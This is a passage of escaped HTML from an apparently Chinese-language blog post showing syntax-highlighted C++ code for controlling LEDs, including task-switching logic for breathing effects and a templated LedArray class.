class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eminus\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ealways\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esetTask\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etask\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etask\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexecTask\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eminus\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTryBreath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTryBreath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"led类--led-array-类\"\u003eLED类 =\u0026gt; LED Array 类\u003c/h2\u003e\n\u003cp\u003e简单的将上面的LED用array来 遍历 控制。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e74\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etemplate\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003esize_t\u003c/span\u003e \u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eLedArray\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003earray\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eLedArray\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003earray\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eleds\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eleds\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"p\"\u003e){};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eLedArray\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eresetAll\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eprintCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;index: %d, compare: %d\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan 